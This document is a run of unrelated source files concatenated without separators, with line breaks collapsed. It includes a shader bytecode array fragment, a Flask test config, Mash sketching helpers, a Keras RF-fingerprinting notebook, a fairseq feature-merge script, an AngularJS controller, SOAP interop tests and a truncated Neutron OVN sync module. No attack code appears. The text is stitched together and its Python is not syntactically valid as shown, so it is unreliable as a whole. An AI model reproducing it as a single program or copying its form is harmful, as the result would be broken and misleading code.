0, 0, 0, 0, 0, 124, 1, 0, 0, 0, 0, 0, 0, 153, 1, 0, 0, 8, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 124, 1, 0, 0, 0, 0, 0, 0, 163, 1, 0, 0, 12, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 124, 1, 0, 0, 0, 0, 0, 0, 176, 1, 0, 0, 16, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0, 208, 1, 0, 0, 24, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0, 222, 1, 0, 0, 32, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 240, 1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 40, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 240, 1, 0, 0, 0, 0, 0, 0, 17, 2, 0, 0, 48, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 124, 1, 0, 0, 0, 0, 0, 0, 70, 105, 114, 115, 116, 80, 105, 120, 101, 108, 79, 102, 102, 115, 101, 116, 0, 171, 171, 171, 0, 0, 19, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 105, 120, 101, 108, 115, 80, 101, 114, 82, 111, 119, 0, 82, 111, 119, 83, 116, 114, 105, 100, 101, 0, 82, 111, 119, 115, 80, 101, 114, 83, 108, 105, 99, 101, 0, 80, 111, 115, 105, 116, 105, 111, 110, 79, 102, 102, 115, 101, 116, 0, 171, 1, 0, 3, 0, 1, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 111, 115, 105, 116, 105, 111, 110, 83, 99, 97, 108, 101, 0, 84, 101, 120, 76, 111, 99, 97, 116, 105, 111, 110, 79, 102, 102, 115, 101, 116, 0, 1, 0, 2, 0, 1, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 84, 101, 120, 76, 111, 99, 97, 116, 105, 111, 110, 83, 99, 97, 108, 101, 0, 70, 105, 114, 115, 116, 83, 108, 105, 99, 101, 0, 77, 105, 99, 114, 111, 115, 111, 102, 116, 32, 40, 82, 41, 32, 72, 76, 83, 76, 32, 83, 104, 97, 100, 101, 114, 32, 67, 111, 109, 112, 105, 108, 101, 114, 32, 54, 46, 51, 46, 57, 54, 48, 48, 46, 49, 54, 51, 56, 52, 0, 171, 171, 73, 83, 71, 78, 80, 0, 0, 0, 2, 0, 0, 0, 8, 0, 0, 0, 56, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 83, 86, 95, 80, 111, 115, 105, 116, 105, 111, 110, 0, 84, 69, 88, 67, 79, 79, 82, 68, 0, 171, 171, 171, 79, 83, 71, 78, 44, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 83, 86, 95, 84, 97, 114, 103, 101, 116, 0, 171, 171, 83, 72, 68, 82, 96, 0, 0, 0, 64, 0, 0, 0, 24, 0, 0, 0, 89, 0, 0, 4, 70, 142, 32, 0, 0, 0, 0, 0, 1, 0, 0, 0, 88, 8, 0, 4, 0, 112, 16, 0, 0, 0, 0, 0, 85, 85, 0, 0, 98, 8, 0, 3, 18, 16, 16, 0, 1, 0, 0, 0, 101, 0, 0, 3, 242, 32, 16, 0, 0, 0, 0, 0, 45, 0, 0, 7, 242, 32, 16, 0, 0, 0, 0, 0, 6, 16, 16, 0, 1, 0, 0, 0, 70, 126, 16, 0, 0, 0, 0, 0, 62, 0, 0, 1, 83, 84, 65, 84, 116, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
import pathlib DEBUG = True SQLALCHEMY_DATABASE_URI = 'sqlite:///'+str(pathlib.Path(__file__).parent)+'/../var/test.db' SQLALCHEMY_TRACK_MODIFICATIONS = False MASTER_KEY = 'test'
import logging import os from subprocess import Popen, PIPE from typing import List from ..utils import sample_name_from_fasta_path, run_command, sample_name_from_fastq_paths def sketch_fasta(fasta_path, mash_bin="mash", tmp_dir="/tmp", sample_name=None, k=16, s=400): """Create Mash sketch file Args: fasta_path (str): mash_bin (str): Mash binary path tmp_dir (str): Temp user directory sample_name (str): Genome name fasta_path (str): Genome fasta file path k (int): kmer length s (int): number of sketches Returns: str: Mash sketch file path for genome fasta file """ logging.info('Creating Mash sketch file for %s', fasta_path) if sample_name is None: sample_name = sample_name_from_fasta_path(fasta_path=fasta_path) msh_path = os.path.join(tmp_dir, sample_name + '.msh') cmd_list = [mash_bin, 'sketch', '-k', str(k), '-s', str(s), '-o', msh_path, fasta_path] exit_code, stdout, stderr = run_command(cmd_list) if exit_code != 0: raise Exception( 'Could not create Mash sketch. EXITCODE={} STDERR="{}" STDOUT="{}"'.format(exit_code, stderr, stdout)) assert os.path.exists(msh_path), 'Mash sketch file does not exist at "{}"'.format(msh_path) logging.info('Created Mash sketch file at "%s"', msh_path) return msh_path def sketch_fastqs(fastqs: List[str], mash_bin: str = 'mash', sample_name: str = None, tmp_dir: str = '/tmp', k: int = 16, s: int = 400, m: int = 8) -> str: """Create Mash sketch database from one or more FASTQ files Args: fastqs: list of FASTQ files (may be gzipped) mash_bin: Mash binary path sample_name: Sample name tmp_dir: Temporary working directory k: Mash kmer size s: Mash number of min-hashes m: Mash number of times a k-mer needs to be observed in order to be considered for Mash sketch DB Returns: (str): path to Mash sketch database for input FASTQs """ if sample_name is None: sample_name = sample_name_from_fastq_paths(fastqs) p = Popen(['cat', *fastqs], stdout=PIPE) msh_path = os.path.join(tmp_dir, sample_name + '.msh') cmd_list = [mash_bin, 'sketch', '-k', str(k), # kmer size '-s', str(s), # number of sketches '-m', str(m), # min times a kmer needs to be observed to add to sketch DB '-o', msh_path, '-'] logging.info('Creating Mash sketch file at "%s" from "%s"', msh_path, fastqs) exit_code, stdout, stderr = run_command(cmd_list, stdin=p.stdout, stderr=None) if exit_code != 0: raise Exception( 'Could not create Mash sketch. EXITCODE={} STDERR="{}" STDOUT="{}"'.format(exit_code, stderr, stdout)) assert os.path.exists(msh_path), 'Mash sketch file does not exist at "{}"'.format(msh_path) logging.info('Created Mash sketch file at "%s"', msh_path) return msh_path
#!/usr/bin/env python # coding: utf-8 # In[1]: get_ipython().run_line_magic('load_ext', 'autoreload') get_ipython().run_line_magic('autoreload', '2') import matplotlib.pyplot as plt import numpy as np import pickle import os import os.path import scipy,scipy.spatial import matplotlib matplotlib.rcParams['figure.dpi'] = 100 from data_utilities import * # from definitions import * # from run_train_eval_net import run_train_eval_net,run_eval_net # In[2]: import os GPU = "1" os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"]=GPU # In[3]: dataset_name = 'ManyRx' dataset_path='../../orbit_rf_dataset/data/compact_pkl_datasets/' compact_dataset = load_compact_pkl_dataset(dataset_path,dataset_name) tx_list = compact_dataset['tx_list'] rx_list = compact_dataset['rx_list'] equalized = 0 capture_date_list = compact_dataset['capture_date_list'] capture_date = capture_date_list[0] n_tx = len(tx_list) n_rx = len(rx_list) print(n_tx,n_rx) # In[4]: np.random.seed(0) n_real = 5 rx_list_real = [] for i in range(n_real): np.random.shuffle(rx_list) rx_list_real.append(np.copy(rx_list).tolist()) print(rx_list_real) # In[5]: import tensorflow as tf import tensorflow.keras as keras from tensorflow.keras import regularizers from tensorflow.keras.models import Sequential, Model from tensorflow.keras.layers import * import tensorflow.keras.backend as K # In[6]: def create_net(): inputs = Input(shape=(256,2)) x = Reshape((256,2,1))(inputs) x = Conv2D(8,(3,2),activation='relu',padding = 'same')(x) x = MaxPool2D((2,1))(x) x = Conv2D(16,(3,2),activation='relu',padding = 'same')(x) x = MaxPool2D((2,1))(x) x = Conv2D(16,(3,2),activation='relu',padding = 'same')(x) x = MaxPool2D((2,2))(x) x = Conv2D(32,(3,1),activation='relu',padding = 'same')(x) x = MaxPool2D((2,1))(x) x = Conv2D(16,(3,1),activation='relu',padding = 'same')(x) #x = resnet(x,64,(3,2),'6') #x = MaxPool2D((2,2))(x) x = Flatten()(x) x = Dense(100, activation='relu', kernel_regularizer = keras.regularizers.l2(0.0001))(x) # x = Dropout(0.3)(x) x = Dense(80, activation='relu',kernel_regularizer = keras.regularizers.l2(0.0001))(x) x = Dropout(0.5)(x) x = Dense(n_tx, activation='softmax',kernel_regularizer = keras.regularizers.l2(0.0001))(x) ops = x classifier = Model(inputs,ops) classifier.compile(loss='categorical_crossentropy',metrics=['categorical_accuracy'],optimizer=keras.optimizers.Adam(0.0005)) return classifier classifier = create_net() classifier.summary() # In[7]: def evaluate_test(classifier): pred = classifier.predict(sig_dfTest) acc = np.mean(np.argmax(pred,1)==txidNum_dfTest) test_indx = () for indx in range(len(tx_list)): cls_indx = np.where(txidNum_dfTest == indx) test_indx = test_indx + (cls_indx[0][:n_test_samples],) test_indx = np.concatenate(test_indx) acc_bal = np.mean(np.argmax(pred[test_indx,:],1)==txidNum_dfTest[test_indx]) return acc,acc_bal # In[8]: n_test_rx = 5; # In[9]: list(range( 0,len(rx_list_real[0])-n_test_rx+1,5)) # In[10]: TRAIN = True continue_training = True nreal = 5 real_list = list(range(nreal)) nrx_list = list(range( 0,len(rx_list_real[0])-n_test_rx+1,5)) # [0,len(rx_list_real[0])-1] # patience = 5 n_epochs = 100 smTest_results = [] dfTest_results = [] dfTestBal_results = [] for real in real_list: rx_list = rx_list_real[real] rx_test_list = rx_list[-n_test_rx:] test_dataset = merge_compact_dataset(compact_dataset,capture_date,tx_list,rx_test_list) test_augset_dfRx,_,_ = prepare_dataset(test_dataset,tx_list,val_frac=0.0, test_frac=0.0) [sig_dfTest,txidNum_dfTest,txid_dfTest,cls_weights] = test_augset_dfRx cnt=np.histogram(txidNum_dfTest,bins=np.arange(len(tx_list)+1)-0.5) n_test_samples = int(np.min(cnt[0])) smTest_results_real = [] dfTest_results_real = [] dfTestBal_results_real = [] for nrx in nrx_list: print("");print("") print("nrx: {} - real: {} ".format(nrx,real)) fname_w = 'weights/d003_{:02d}_{:02d}.hd5'.format(nrx,real) rx_train_list= rx_list[:nrx+1] dataset = merge_compact_dataset(compact_dataset,capture_date,tx_list,rx_train_list) train_augset,val_augset,test_augset_smRx = prepare_dataset(dataset,tx_list, val_frac=0.1, test_frac=0.1) [sig_train,txidNum_train,txid_train,cls_weights] = train_augset [sig_valid,txidNum_valid,txid_valid,_] = val_augset [sig_smTest,txidNum_smTest,txid_smTest,cls_weights] = test_augset_smRx if continue_training: skip = os.path.isfile(fname_w) else: skip = False classifier = create_net() if TRAIN and not skip: filepath = 't_weights_'+GPU c=[ keras.callbacks.ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True), keras.callbacks.EarlyStopping(monitor='val_loss', patience=patience)] history = classifier.fit(sig_train,txid_train,class_weight=cls_weights, validation_data=(sig_valid , txid_valid),callbacks=c, epochs=n_epochs) classifier.load_weights(filepath) classifier.save_weights(fname_w,save_format="h5") else: classifier.load_weights(fname_w) smTest_r = classifier.evaluate(sig_smTest,txid_smTest,verbose=0)[1] # dfTest_r = classifier.evaluate(sig_dfTest,txid_dfTest)[1] dfTest_r,dfTestBal_r = evaluate_test(classifier) print(smTest_r,dfTest_r) smTest_results_real.append(smTest_r) dfTest_results_real.append(dfTest_r) dfTestBal_results_real.append(dfTestBal_r) K.clear_session() smTest_results.append(smTest_results_real) dfTest_results.append(dfTest_results_real) dfTestBal_results.append(dfTestBal_results_real) # In[11]: nrx_list # In[15]: matplotlib.rcParams['figure.dpi'] = 100 plt.errorbar(np.array(nrx_list)+1,np.mean(smTest_results,0),np.std(smTest_results,0),capsize=4) plt.errorbar(np.array(nrx_list)+1,np.mean(dfTest_results,0),np.std(dfTest_results,0),capsize=4) plt.legend(['Same Rx(s)','Diff. Rx']) plt.xlabel('N Train Rx') plt.ylabel('Class. Accuracy') #plt.xticks(range(0,len(nrx_list),2)) plt.grid() print(np.mean(dfTest_results,0).tolist()) # In[13]: print(tx_list) print(nrx_list) print(real_list) print(smTest_results) print(dfTest_results) print(dfTestBal_results) # In[14]: print(rx_list_real) # In[ ]:
#!/usr/bin/env python3 -u # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import argparse import os import os.path as osp import numpy as np import tqdm import torch import random from shutil import copyfile from npy_append_array import NpyAppendArray def get_parser(): parser = argparse.ArgumentParser( description="transforms features via a given pca and stored them in target dir" ) # fmt: off parser.add_argument('source', help='directory with features') parser.add_argument('--split', help='which split to read', required=True) parser.add_argument('--save-dir', help='where to save the output', required=True) parser.add_argument('--cluster-dir', help='where the clusters are') parser.add_argument('--pooling', type=str, default='mean', choices=['mean', 'sample'], help='how to pool') # fmt: on return parser def main(): parser = get_parser() args = parser.parse_args() source_path = osp.join(args.source, args.split) cluster_path = osp.join(args.cluster_dir, args.split + ".src") print(f"data path: {source_path}") features = np.load(source_path + ".npy", mmap_mode="r") sizes = [] offsets = [] offset = 0 with open(source_path + ".lengths", "r") as len_f: for line in len_f: length = int(line.rstrip()) sizes.append(length) offsets.append(offset) offset += length clusters = [] with open(cluster_path, "r") as cf: for line in cf: line = line.rstrip() items = line.split() items = list(map(int, items)) clusters.append(items) os.makedirs(args.save_dir, exist_ok=True) save_path = osp.join(args.save_dir, args.split) copyfile(source_path + ".tsv", save_path + ".tsv") if os.path.exists(source_path + ".phn"): copyfile(source_path + ".phn", save_path + ".phn") if os.path.exists(osp.join(args.source, "dict.phn.txt")): copyfile( osp.join(args.source, "dict.phn.txt"), osp.join(args.save_dir, "dict.phn.txt"), ) if os.path.exists(source_path + ".wrd"): copyfile(source_path + ".wrd", save_path + ".wrd") if osp.exists(save_path + ".npy"): os.remove(save_path + ".npy") npaa = NpyAppendArray(save_path + ".npy") def merge(feats, clust): feats = torch.from_numpy(feats.copy()) clust = torch.LongTensor(clust) _, counts = clust.unique_consecutive(return_counts=True) curr = 0 merged = [] for c in counts: c = c.item() start = curr end = curr + c curr += c if args.pooling == "mean": new_x = feats[start:end].mean(dim=0) elif args.pooling == "sample": new_x = feats[start + int(random.random() * c)] else: raise NotImplementedError() merged.append(new_x) return torch.stack(merged, dim=0).numpy() with open(save_path + ".lengths", "w") as l_f: for size, offset, clust in tqdm.tqdm( zip(sizes, offsets, clusters), total=len(sizes) ): end = size + offset feats = features[offset:end] feats = merge(feats, clust) print(len(feats), file=l_f) npaa.append(feats) if __name__ == "__main__": main()
from keras.applications.resnet50 import ResNet50 from keras.preprocessing import image from keras.applications.resnet50 import preprocess_input, decode_predictions import numpy as np model = ResNet50(weights='imagenet') img_path = 'Data/Jellyfish.jpg' img = image.load_img(img_path, target_size=(224, 224)) x = image.img_to_array(img) x = np.expand_dims(x, axis=0) x = preprocess_input(x) preds = model.predict(x) # decode the results into a list of tuples (class, description, probability) print('Predicted:', decode_predictions(preds, top=3)[0])
(function() { 'use strict'; angular .module('app.layout') .controller('Shell', Shell); /* @ngInject */ function Shell($timeout, config, logger) { /*jshint validthis: true */ var vm = this; vm.title = config.appTitle; vm.busyMessage = 'Please wait ...'; vm.isBusy = true; vm.showSplash = true; activate(); function activate() { logger.success(config.appTitle + ' loaded!', null); // Using a resolver on all routes or dataservice.ready in every controller // dataservice.ready().then(function(){ // hideSplash(); // }); hideSplash(); } function hideSplash() { //Force a 1 second delay so we can see the splash. $timeout(function() { vm.showSplash = false; }, 1000); } } })();
#!/usr/bin/env python # # spyne - Copyright (C) Spyne contributors. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 # import unittest from suds.sax.parser import Parser from suds.client import Client from suds.plugin import MessagePlugin from suds import WebFault from datetime import datetime from spyne.test.interop._test_soap_client_base import SpyneClientTestBase import logging suds_logger = logging.getLogger('suds') suds_logger.setLevel(logging.INFO) class LastReceivedPlugin(MessagePlugin): def received(self, context): sax = Parser() self.reply = sax.parse(string=context.reply) class TestSuds(SpyneClientTestBase, unittest.TestCase): def setUp(self): SpyneClientTestBase.setUp(self, 'http') self.client = Client("http://localhost:9754/?wsdl", cache=None, plugins=[LastReceivedPlugin()]) self.ns = "spyne.test.interop.server" def test_echo_datetime(self): val = datetime.now() ret = self.client.service.echo_datetime(val) assert val == ret def test_echo_datetime_with_invalid_format(self): val = datetime.now() ret = self.client.service.echo_datetime_with_invalid_format(val) assert val == ret def test_echo_date(self): val = datetime.now().date() ret = self.client.service.echo_date(val) assert val == ret def test_echo_date_with_invalid_format(self): val = datetime.now().date() ret = self.client.service.echo_date_with_invalid_format(val) assert val == ret def test_echo_time(self): val = datetime.now().time() ret = self.client.service.echo_time(val) assert val == ret def test_echo_time_with_invalid_format(self): val = datetime.now().time() ret = self.client.service.echo_time_with_invalid_format(val) assert val == ret def test_echo_simple_boolean_array(self): val = [False, False, False, True] ret = self.client.service.echo_simple_boolean_array(val) assert val == ret def test_echo_boolean(self): val = True ret = self.client.service.echo_boolean(val) self.assertEquals(val, ret) val = False ret = self.client.service.echo_boolean(val) self.assertEquals(val, ret) def test_enum(self): DaysOfWeekEnum = self.client.factory.create("DaysOfWeekEnum") val = DaysOfWeekEnum.Monday ret = self.client.service.echo_enum(val) assert val == ret def test_validation(self): non_nillable_class = self.client.factory.create( "{hunk.sunk}NonNillableClass") non_nillable_class.i = 6 non_nillable_class.s = None try: self.client.service.non_nillable(non_nillable_class) except WebFault as e: pass else: raise Exception("must fail") def test_echo_integer_array(self): ia = self.client.factory.create('integerArray') ia.integer.extend([1, 2, 3, 4, 5]) self.client.service.echo_integer_array(ia) def test_echo_in_header(self): in_header = self.client.factory.create('InHeader') in_header.s = 'a' in_header.i = 3 self.client.set_options(soapheaders=in_header) ret = self.client.service.echo_in_header() self.client.set_options(soapheaders=None) print(ret) self.assertEquals(in_header.s, ret.s) self.assertEquals(in_header.i, ret.i) def test_echo_in_complex_header(self): in_header = self.client.factory.create('InHeader') in_header.s = 'a' in_header.i = 3 in_trace_header = self.client.factory.create('InTraceHeader') in_trace_header.client = 'suds' in_trace_header.callDate = datetime(year=2000, month=1, day=1, hour=0, minute=0, second=0, microsecond=0) self.client.set_options(soapheaders=(in_header, in_trace_header)) ret = self.client.service.echo_in_complex_header() self.client.set_options(soapheaders=None) print(ret) self.assertEquals(in_header.s, ret[0].s) self.assertEquals(in_header.i, ret[0].i) self.assertEquals(in_trace_header.client, ret[1].client) self.assertEquals(in_trace_header.callDate, ret[1].callDate) def test_send_out_header(self): out_header = self.client.factory.create('OutHeader') out_header.dt = datetime(year=2000, month=1, day=1) out_header.f = 3.141592653 ret = self.client.service.send_out_header() self.assertTrue(isinstance(ret, type(out_header))) self.assertEquals(ret.dt, out_header.dt) self.assertEquals(ret.f, out_header.f) def test_send_out_complex_header(self): out_header = self.client.factory.create('OutHeader') out_header.dt = datetime(year=2000, month=1, day=1) out_header.f = 3.141592653 out_trace_header = self.client.factory.create('OutTraceHeader') out_trace_header.receiptDate = datetime(year=2000, month=1, day=1, hour=1, minute=1, second=1, microsecond=1) out_trace_header.returnDate = datetime(year=2000, month=1, day=1, hour=1, minute=1, second=1, microsecond=100) ret = self.client.service.send_out_complex_header() self.assertTrue(isinstance(ret[0], type(out_header))) self.assertEquals(ret[0].dt, out_header.dt) self.assertEquals(ret[0].f, out_header.f) self.assertTrue(isinstance(ret[1], type(out_trace_header))) self.assertEquals(ret[1].receiptDate, out_trace_header.receiptDate) self.assertEquals(ret[1].returnDate, out_trace_header.returnDate) # Control the reply soap header (in an unelegant way but this is the # only way with suds) soapheaders = self.client.options.plugins[0].reply.getChild("Envelope").getChild("Header") soap_out_header = soapheaders.getChild('OutHeader') self.assertEquals('T'.join((out_header.dt.date().isoformat(), out_header.dt.time().isoformat())), soap_out_header.getChild('dt').getText()) self.assertEquals(unicode(out_header.f), soap_out_header.getChild('f').getText()) soap_out_trace_header = soapheaders.getChild('OutTraceHeader') self.assertEquals('T'.join((out_trace_header.receiptDate.date().isoformat(), out_trace_header.receiptDate.time().isoformat())), soap_out_trace_header.getChild('receiptDate').getText()) self.assertEquals('T'.join((out_trace_header.returnDate.date().isoformat(), out_trace_header.returnDate.time().isoformat())), soap_out_trace_header.getChild('returnDate').getText()) def test_echo_string(self): test_string = "OK" ret = self.client.service.echo_string(test_string) self.assertEquals(ret, test_string) def __get_xml_test_val(self): return { "test_sub": { "test_subsub1": { "test_subsubsub1": ["subsubsub1 value"] }, "test_subsub2": ["subsub2 value 1", "subsub2 value 2"], "test_subsub3": [ { "test_subsub3sub1": ["subsub3sub1 value"] }, { "test_subsub3sub2": ["subsub3sub2 value"] }, ], "test_subsub4": [], "test_subsub5": ["x"], } } def test_echo_simple_class(self): val = self.client.factory.create("{spyne.test.interop.server}SimpleClass") val.i = 45 val.s = "asd" ret = self.client.service.echo_simple_class(val) assert ret.i == val.i assert ret.s == val.s def test_echo_class_with_self_reference(self): val = self.client.factory.create("{spyne.test.interop.server}ClassWithSelfReference") val.i = 45 val.sr = self.client.factory.create("{spyne.test.interop.server}ClassWithSelfReference") val.sr.i = 50 val.sr.sr = None ret = self.client.service.echo_class_with_self_reference(val) assert ret.i == val.i assert ret.sr.i == val.sr.i def test_echo_nested_class(self): val = self.client.factory.create("{punk.tunk}NestedClass"); val.i = 45 val.s = "asd" val.f = 12.34 val.ai = self.client.factory.create("integerArray") val.ai.integer.extend([1, 2, 3, 45, 5, 3, 2, 1, 4]) val.simple = self.client.factory.create("{spyne.test.interop.server}SimpleClassArray") val.simple.SimpleClass.append(self.client.factory.create("{spyne.test.interop.server}SimpleClass")) val.simple.SimpleClass.append(self.client.factory.create("{spyne.test.interop.server}SimpleClass")) val.simple.SimpleClass[0].i = 45 val.simple.SimpleClass[0].s = "asd" val.simple.SimpleClass[1].i = 12 val.simple.SimpleClass[1].s = "qwe" val.other = self.client.factory.create("{spyne.test.interop.server}OtherClass"); val.other.dt = datetime.now() val.other.d = 123.456 val.other.b = True ret = self.client.service.echo_nested_class(val) self.assertEquals(ret.i, val.i) self.assertEqual(ret.ai[0], val.ai[0]) self.assertEquals(ret.simple.SimpleClass[0].s, val.simple.SimpleClass[0].s) self.assertEqual(ret.other.dt, val.other.dt) def test_huge_number(self): self.assertEquals(self.client.service.huge_number(), 2 ** int(1e5)) def test_long_string(self): self.assertEquals(self.client.service.long_string(), ('0123456789abcdef' * 16384)) def test_empty(self): self.client.service.test_empty() def test_echo_extension_class(self): val = self.client.factory.create("{bar}ExtensionClass") val.i = 45 val.s = "asd" val.f = 12.34 val.simple = self.client.factory.create("{spyne.test.interop.server}SimpleClassArray") val.simple.SimpleClass.append(self.client.factory.create("{spyne.test.interop.server}SimpleClass")) val.simple.SimpleClass.append(self.client.factory.create("{spyne.test.interop.server}SimpleClass")) val.simple.SimpleClass[0].i = 45 val.simple.SimpleClass[0].s = "asd" val.simple.SimpleClass[1].i = 12 val.simple.SimpleClass[1].s = "qwe" val.other = self.client.factory.create("{spyne.test.interop.server}OtherClass"); val.other.dt = datetime.now() val.other.d = 123.456 val.other.b = True val.p = self.client.factory.create("{hunk.sunk}NonNillableClass"); val.p.dt = datetime(2010, 6, 2) val.p.i = 123 val.p.s = "punk" val.l = datetime(2010, 7, 2) val.q = 5 ret = self.client.service.echo_extension_class(val) print(ret) self.assertEquals(ret.i, val.i) self.assertEquals(ret.s, val.s) self.assertEquals(ret.f, val.f) self.assertEquals(ret.simple.SimpleClass[0].i, val.simple.SimpleClass[0].i) self.assertEquals(ret.other.dt, val.other.dt) self.assertEquals(ret.p.s, val.p.s) def test_python_exception(self): try: self.client.service.python_exception() raise Exception("must fail") except WebFault as e: pass def test_soap_exception(self): try: self.client.service.soap_exception() raise Exception("must fail") except WebFault as e: pass def test_complex_return(self): ret = self.client.service.complex_return() self.assertEquals(ret.resultCode, 1) self.assertEquals(ret.resultDescription, "Test") self.assertEquals(ret.transactionId, 123) self.assertEquals(ret.roles.RoleEnum[0], "MEMBER") def test_return_invalid_data(self): try: self.client.service.return_invalid_data() raise Exception("must fail") except: pass def test_custom_messages(self): ret = self.client.service.custom_messages("test") assert ret == 'test' def test_echo_simple_bare(self): ret = self.client.service.echo_simple_bare("test") assert ret == 'test' # # This test is disabled because suds does not create the right request # object. Opening the first <ns0:string> tag below is wrong. # #<SOAP-ENV:Envelope xmlns:ns0="spyne.test.interop.server" # xmlns:xs="http://www.w3.org/2001/XMLSchema" # xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" # xmlns:ns1="http://schemas.xmlsoap.org/soap/envelope/" # xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> # <SOAP-ENV:Header/> # <ns1:Body> # <ns0:echo_complex_bare> # <ns0:string> # <ns0:string>abc</ns0:string> # <ns0:string>def</ns0:string> # </ns0:string> # </ns0:echo_complex_bare> # </ns1:Body> #</SOAP-ENV:Envelope> # # The right request looks like this: # # <ns0:echo_complex_bare> # <ns0:string>abc</ns0:string> # <ns0:string>def</ns0:string> # </ns0:echo_complex_bare> # def _test_echo_complex_bare(self): val = ['abc','def'] ia = self.client.factory.create('stringArray') ia.string.extend(val) ret = self.client.service.echo_complex_bare(ia) assert ret == val if __name__ == '__main__': unittest.main()
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import abc from datetime import datetime import itertools from eventlet import greenthread from neutron_lib.api.definitions import l3 from neutron_lib.api.definitions import segment as segment_def from neutron_lib import constants from neutron_lib import context from neutron_lib.db import api as db_api from neutron_lib import exceptions as n_exc from neutron_lib.plugins import constants as plugin_constants from neutron_lib.plugins import directory from neutron_lib.utils import helpers from oslo_log import log from neutron.common.ovn import acl as acl_utils from neutron.common.ovn import constants as ovn_const from neutron.common.ovn import utils from neutron.conf.plugins.ml2.drivers.ovn import ovn_conf from neutron import manager from neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.extensions import qos \ as ovn_qos from neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb import ovn_client from neutron.services.segments import db as segments_db LOG = log.getLogger(__name__) SYNC_MODE_OFF = 'off' SYNC_MODE_LOG = 'log' SYNC_MODE_REPAIR = 'repair' class OvnDbSynchronizer(object, metaclass=abc.ABCMeta): def __init__(self, core_plugin, ovn_api, ovn_driver): self.ovn_driver = ovn_driver self.ovn_api = ovn_api self.core_plugin = core_plugin def sync(self, delay_seconds=10): self._gt = greenthread.spawn_after_local(delay_seconds, self.do_sync) @abc.abstractmethod def do_sync(self): """Method to sync the OVN DB.""" def stop(self): try: self._gt.kill() except AttributeError: # Haven't started syncing pass class OvnNbSynchronizer(OvnDbSynchronizer): """Synchronizer class for NB.""" def __init__(self, core_plugin, ovn_api, sb_ovn, mode, ovn_driver): super(OvnNbSynchronizer, self).__init__( core_plugin, ovn_api, ovn_driver) self.mode = mode self.l3_plugin = directory.get_plugin(plugin_constants.L3) self.pf_plugin = directory.get_plugin(plugin_constants.PORTFORWARDING) if not self.pf_plugin: self.pf_plugin = ( manager.NeutronManager.load_class_for_provider( 'neutron.service_plugins', 'port_forwarding')()) self._ovn_client = ovn_client.OVNClient(ovn_api, sb_ovn) self.segments_plugin = directory.get_plugin('segments') if not self.segments_plugin: self.segments_plugin = ( manager.NeutronManager.load_class_for_provider( 'neutron.service_plugins', 'segments')()) def stop(self): if utils.is_ovn_l3(self.l3_plugin): self.l3_plugin._nb_ovn.ovsdb_connection.stop() self.l3_plugin._sb_ovn.ovsdb_connection.stop() super(OvnNbSynchronizer, self).stop() def do_sync(self): if self.mode == SYNC_MODE_OFF: LOG.debug("Neutron sync mode is off") return LOG.debug("Starting OVN-Northbound DB sync process") ctx = context.get_admin_context() self.sync_port_groups(ctx) self.sync_networks_ports_and_dhcp_opts(ctx) self.sync_port_dns_records(ctx) self.sync_acls(ctx) self.sync_routers_and_rports(ctx) self.migrate_to_stateless_fips(ctx) self.sync_port_qos_policies(ctx) self.sync_fip_qos_policies(ctx) def _create_port_in_ovn(self, ctx, port): # Remove any old ACLs for the port to avoid creating duplicate ACLs. self.ovn_api.delete_acl( utils.ovn_name(port['network_id']), port['id']).execute(check_error=True) # 